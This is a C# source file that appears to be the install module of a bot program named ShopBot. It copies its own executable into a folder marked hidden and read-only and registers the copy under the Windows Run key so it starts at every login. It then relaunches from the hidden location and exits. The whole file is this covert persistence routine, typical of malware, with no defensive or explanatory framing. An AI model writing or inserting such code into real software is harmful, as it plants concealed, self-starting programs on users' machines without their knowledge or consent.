using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Diagnostics;
using Microsoft.Win32;

namespace ShopBot.Install
{
    class Install
    {
        public static void Start()
        {
            if (!IsInstalled())
            {
                WriteRegistery();
                Drop();
                Process.Start(Configuration.FolderPath + @"\" + Configuration.FileName);
                Environment.Exit(0);
            }
        }

        public static void Drop()
        {
            if (!Directory.Exists(Configuration.FolderPath))
            {
                Directory.CreateDirectory(Configuration.FolderPath);
                DirectoryInfo Di = new DirectoryInfo(Configuration.FolderPath);
                Di.Attributes = FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.ReadOnly;
            }

            if (!File.Exists(Configuration.FolderPath + @"\" + Configuration.FileName))
            {
                File.Copy(Process.GetCurrentProcess().MainModule.FileName, Configuration.FolderPath + @"\" + Configuration.FileName);
                FileInfo Fi = new FileInfo(Configuration.FolderPath + @"\" + Configuration.FileName);
                Fi.Attributes = FileAttributes.ReadOnly | FileAttributes.Hidden;
            }
        }

        public static void WriteRegistery()
        {
            RegistryKey key = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run");
            key.SetValue(Configuration.StartupName, Configuration.FolderPath + @"\" + Configuration.FileName);
        }

        public static bool IsInstalled()
        {
            if (!Directory.Exists(Configuration.FolderPath) || !File.Exists(Configuration.FolderPath + @"\" + Configuration.FileName))
                return false;

            else
                return true;
        }
    }
}
